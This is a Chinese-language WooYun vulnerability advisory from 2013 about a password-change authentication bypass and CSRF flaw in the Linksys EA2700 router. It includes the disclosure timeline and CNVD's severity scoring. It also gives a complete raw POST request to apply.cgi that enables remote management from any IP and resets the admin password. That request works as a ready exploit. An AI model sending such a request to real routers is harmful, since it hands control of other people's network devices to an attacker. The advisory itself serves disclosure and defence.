当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-021321

漏洞标题:Linksys EA2700的密码更改认证缺陷和CSRF漏洞

相关厂商:Linksys

漏洞作者: 隔墙W有眼

提交时间:2013-04-06 21:40

修复时间:2013-04-09 16:00

公开时间:2013-04-09 16:00

漏洞类型:权限控制绕过

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-06: 细节已通知厂商并且等待厂商处理中
2013-04-09: 厂商已经确认,细节仅向厂商公开
2013-04-09: 厂商提前公开漏洞,细节向公众公开

简要描述:

详细说明:

Linksys EA2700路由器,在同一网络上的人都可以用远程管理改变路由器的密码。这可以从互联网上访问此路由器的网络。
CSRF攻击!只需发送POST请求到apply.cgi,将开启远程管理和更改管理员密码。

漏洞证明:

POST /apply.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 370
submit_button=Management&change_action=&action=Apply&PasswdModify=1
&http_enable=1&https_enable=0&ctm404_enable=&remote_mgt_https=0
&wait_time=4&http_passwd=password&http_passwdConfirm=password
&_http_enable=1&web_wl_filter=0
&remote_management=1&_remote_mgt_https=1&remote_ip_any=1
&http_wanport=8080&nf_alg_sip=0&ctf_enable=1&upnp_enable=1
&upnp_config=1&upnp_internet_dis=0

修复方案:

版权声明:转载请注明来源 隔墙W有眼@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2013-04-09 15:59

厂商回复:

CNVD根据描述确认漏洞情况(暂未实测),近两日一直在联系思科公司。由于其公开联系渠道较为复杂,客服部门不直接受理,暂未直接处置,拟直接公开漏洞。
按相邻网络攻击,完全影响机密性,部分影响可用性和完整性进行评分,rank =7.31*1.1*1.3=10.453

最新状态:

2013-04-09:未能有效处置。